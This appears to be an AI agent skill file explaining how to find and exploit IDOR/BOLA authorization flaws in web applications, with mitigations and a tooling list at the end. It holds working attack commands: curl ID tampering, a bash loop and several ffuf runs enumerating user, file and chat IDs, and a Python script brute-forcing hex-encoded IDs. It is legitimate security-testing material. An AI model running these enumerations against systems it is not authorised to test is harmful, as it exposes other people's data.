| name | idor-bola-testing |
| description | How to find and exploit IDOR (Insecure Direct Object Reference) and BOLA (Broken Object Level Authorization) vulnerabilities in web applications and APIs. Use this skill whenever the user mentions IDOR, BOLA, authorization testing, object-level access control, parameter tampering, user ID enumeration, or wants to test if endpoints properly verify that callers are authorized to access specific objects. Make sure to use this skill for any web security testing involving user IDs, order IDs, file IDs, or any object references in URLs, query parameters, request bodies, or headers. |
IDOR/BOLA Testing Skill
This skill helps you identify and exploit Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) vulnerabilities in web applications and APIs.
What is IDOR/BOLA?
IDOR/BOLA occurs when a web or API endpoint accepts a user-controllable identifier that is used directly to access an internal object without verifying that the caller is authorized to access or modify that object.
Impact:
- Horizontal privilege escalation (access other users' data)
- Vertical privilege escalation (gain admin functionality)
- Mass data breaches (sequential IDs)
- Account takeover (steal tokens, reset passwords)
1. Finding Potential IDORs
Step 1: Identify Object References
Look for parameters that reference objects in these locations:
URL Path:
/api/user/1234
/files/550e8400-e29b-41d4-a716-446655440000
Query Parameters:
?id=42
?invoice=2024-00001
Request Body (JSON):
{"user_id": 321, "order_id": 987}
Headers/Cookies:
Step 2: Prioritize Endpoints
Focus on endpoints that read or update data:
GET - data retrieval
PUT/PATCH - data modification
DELETE - data removal
Step 3: Check ID Predictability
Note when identifiers are sequential or predictable:
- If your ID is
64185742, then 64185741 probably exists
- Auto-increment IDs are high-risk
- UUIDs/ULIDs are lower-risk but still testable
Step 4: Test with Low-Privilege Session
- Authenticate as a low-privilege user
- Change only the ID parameter
- Keep the same token/cookie
- No authorization error = likely IDOR
2. Manual Testing
Basic ID Tampering
Use Burp Repeater or curl to modify object IDs:
curl -X PUT 'https://target.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$YOUR_SESSION" \
-d '{"lead_id":64185741}'
What to look for:
- Same response structure with different user's data
- No 403/401 errors when accessing other users' objects
- JWT tokens or session data in responses
3. Automated Enumeration
Sequential ID Enumeration
For predictable numeric IDs, enumerate the range:
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://target.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'$id'}' | jq -e '.email' && echo "Hit $id";
done
File Download ID Enumeration (ffuf)
For file hosting panels with endpoints like /download.php?id=<int>:
ffuf -u http://target.com/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json
Key flags:
-fr removes 404-style responses, keeping only true hits
-o saves results for post-processing
Multi-Parameter ID Fuzzing
For endpoints accepting multiple IDs (e.g., chat between users):
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Error-Response Oracle Enumeration
When endpoints return different errors for different conditions:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Error patterns to exploit:
- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist"
- Bad extension → validation error
4. Encoded ID Testing
Hex/Base64 Encoded IDs
Encoding does not add entropy. Test encoded IDs:
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://target.com/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Burp Intruder approach:
- Build candidate IDs (e.g.,
[A-Z]-###-###)
- Use Pitchfork or Cluster Bomb attack
- Add payload processing rule → ASCII hex encoding
- Grep-match for valid response markers
5. Validation Checklist
After finding a potential IDOR, verify:
6. Mitigations to Recommend
When reporting IDOR findings, recommend:
- Enforce object-level authorization on every request (
user_id == session.user)
- Prefer indirect, unguessable identifiers (UUIDv4, ULID) over auto-increment IDs
- Perform authorization server-side, never rely on hidden form fields or UI controls
- Implement RBAC/ABAC checks in central middleware
- Add rate-limiting & logging to detect ID enumeration
- Security test every new endpoint (unit, integration, DAST)
7. Tooling
Burp Suite Extensions:
- Authorize - test authorization across users
- Auto Repeater - automate request modification
- Turbo Intruder - high-speed fuzzing
OWASP ZAP:
- Auth Matrix - test authorization matrices
- Forced Browse - discover hidden endpoints
Open Source Tools:
bwapp-idor-scanner - automated IDOR detection
Blindy - bulk IDOR hunting
Quick Reference
Common IDOR patterns:
/api/user/<id> - user data access
/files/<id> - file downloads
?order_id=<id> - order information
?invoice=<id> - invoice data
X-Client-ID: <id> - client-specific data
Response indicators of IDOR:
- Same response structure with different user data
- No 403/401 when accessing other users' objects
- JWT tokens or session data in responses
- Different error messages for different ID types
When to escalate:
- Mass data exposure (millions of records)
- Admin functionality accessible
- Token/session hijacking possible
- PII or sensitive data exposed